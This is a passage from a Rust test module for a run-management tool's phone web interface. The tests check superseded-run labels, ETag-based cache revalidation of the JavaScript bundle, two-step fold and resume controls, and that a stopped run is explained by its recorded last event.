7781        t.runs = vec![first.to_owned(), second.to_owned()];
7782        q.put(&mut t).expect("put");
7783
7784        // Two cards with the same title and no hint which is which was the
7785        // question: "why are there two of the same, one stalled and one
7786        // blocked?" The older one now names its replacement.
7787        let rows = fx.get("/api/runs").await.json();
7788        let by = |short: &str| -> Value {
7789            rows.as_array()
7790                .unwrap()
7791                .iter()
7792                .find(|r| r["short"] == short)
7793                .cloned()
7794                .unwrap_or(Value::Null)
7795        };
7796        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7797        assert!(
7798            by("bbbb")["superseded_by"].is_null(),
7799            "the latest attempt is not superseded by anything"
7800        );
7801        // Front end: the note has to be rendered, not just carried.
7802        assert!(APP_JS.contains("run.superseded_by"));
7803        assert!(APP_JS.contains("Superseded by"));
7804    }
7805
7806    #[tokio::test]
7807    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7808        let fx = Fixture::start().await;
7809        // No cache header at all meant browsers invented their own policy,
7810        // and one did: a phone went on showing "Candidates must be folded
7811        // before deleting. Run `magi fold` first." - deleted two releases
7812        // earlier - from a deck that no longer contained the sentence. The
7813        // button it named was right there, and unreachable.
7814        let js = fx.get("/app.js").await;
7815        assert_eq!(js.status, 200);
7816        let tag = js
7817            .header("etag")
7818            .expect("an etag to revalidate against")
7819            .to_owned();
7820        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7821        assert_eq!(
7822            js.header("cache-control"),
7823            Some("no-cache, must-revalidate"),
7824            "the phone has to ask every time"
7825        );
7826
7827        // And the asking has to be cheap, or `must-revalidate` just means
7828        // "send the whole interface on every load".
7829        let again = fx
7830            .get_with("/app.js", &[("if-none-match", tag.as_str())])
7831            .await;
7832        assert_eq!(
7833            again.status, 304,
7834            "a deck it already has costs one round trip"
7835        );
7836        assert!(again.body.is_empty(), "304 carries no body");
7837
7838        // A weakened tag from a proxy still matches; a different build does
7839        // not, which is the case that has to deliver the new interface.
7840        let weak = fx
7841            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7842            .await;
7843        assert_eq!(weak.status, 304);
7844        let stale = fx
7845            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7846            .await;
7847        assert_eq!(stale.status, 200, "an older build must be replaced");
7848        assert!(stale.body.contains("renderRunActions"));
7849    }
7850
7851    #[test]
7852    fn the_deck_never_sends_the_operator_to_a_terminal() {
7853        // The whole point of the phone UI is that a terminal is not needed.
7854        // The delete control used to answer with "Run `magi fold` first."
7855        assert!(
7856            !APP_JS.contains("Run `magi fold` first"),
7857            "the deck must offer the fold, not prescribe a shell command"
7858        );
7859        assert!(APP_JS.contains("foldRun:"));
7860        assert!(APP_JS.contains("resumeRun:"));
7861        assert!(APP_JS.contains("renderRunActions"));
7862
7863        // Folding is destructive and armed in two steps, like deleting.
7864        assert!(APP_JS.contains("armedFold"));
7865        assert!(APP_JS.contains("Yes, fold worktrees"));
7866
7867        // And the copy has to say that the two actions are opposites, because
7868        // folding throws away exactly what a resume would continue from.
7869        assert!(APP_JS.contains("can no longer be resumed"));
7870    }
7871
7872    #[test]
7873    fn a_finished_run_explains_itself_with_its_own_last_line() {
7874        // The deck used to answer "why did this stop?" with a sentence chosen
7875        // by status alone. Run e633 stalled because two judges answered with
7876        // the wrong JSON shape and its card said "The panel collapsed on
7877        // agent quota" - with `quota: []` in the record and a quota-loss
7878        // counter right above it that correctly said nothing.
7879        assert!(
7880            !APP_JS.contains("collapsed on agent quota"),
7881            "a stall must not be explained by a cause the deck did not check"
7882        );
7883        assert!(
7884            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7885            "and a block must not offer a guess with an `or` in it"
7886        );
7887
7888        // The reason it does have is `run.event`, which must reach finished
7889        // runs: gating it on movement hid the recorded truth at the one moment
7890        // the operator is reading the card to find out what happened.
7891        assert!(
7892            APP_JS.contains("setText(r.event, run.event || \"\")"),
7893            "the run's last line is rendered unconditionally"
7894        );
7895        assert!(
7896            !APP_JS.contains("moving && run.event"),
7897            "and never gated on the run still moving"
7898        );
7899
7900        // Quota keeps its own counter, fed by the number actually recorded.
7901        assert!(APP_JS.contains("lost to quota"));
7902    }
7903}